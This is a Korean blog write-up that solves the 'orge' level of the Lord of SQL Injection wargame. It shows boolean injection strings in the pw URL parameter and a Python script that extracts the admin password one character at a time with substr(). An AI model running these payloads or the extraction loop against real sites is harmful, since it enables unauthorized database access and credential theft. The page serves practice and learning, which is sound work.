보안 공부/Load of SQL injection

[Load of SQL injection] orge

sh1256 2022. 1. 28. 01:13
728x90

Blind SQL injection 사용 

Blind SQL injection --> https://owasp.org/www-community/attacks/Blind_SQL_Injection

 

1. 참, 거짓 확인

-: ?pw=1'||'1'='1 --> hello guest 작동 O

-거짓: ?pw=1'||'1'='1 --> hello guest 작동 X

 

2. pw길이 확인

?pw=1'||length(pw)='17 --> hello guest 작동 O --> 참

pw는 17자리이다. 

 

그런데 

?pw=1'||length(pw)='8 --> hello admin 작동 O

hello guest가 뜰 때의 pw는 guest의 pw이고, 

hello admin이 뜰 때의 pw는 admin의 pw인 것 같다. 

 

우리는 hello admin이 출력할 때의 pw를 찾아야 한다. 

 

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
length=8#hash는 17자리
pw= ""
for i in range(1, length+1):
    for j in range(33, 122):#숫자부터 소문자z까지
        search_str="1%27||substr(pw,"+str(i)+",1)=%27"+chr(j)
        print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("Hello admin") !=-1:
            pw+=chr(j)
            print("pw: "+pw)
            break

pw: 7B751AEC

 

주소창에 ?pw=7B751AEC 치면 ....?

 

안된다 ;;

대신 소문자로 바꿔서 ?pw=7b751aec 치면 성공한다. 

(SQL은 대소문자 상관 없는데 왜...?)

'보안 공부 > Load of SQL injection' 카테고리의 다른 글

[Load of SQL Injection] Skeleton  (0) 2022.01.28
[Load of SQL Injection] vampire  (0) 2022.01.28
[Load of SQL Injection] troll  (0) 2022.01.28
[Load of SQL Injection] Darkelf  (0) 2022.01.27
[Load of SQL injection] wolfman  (0) 2022.01.27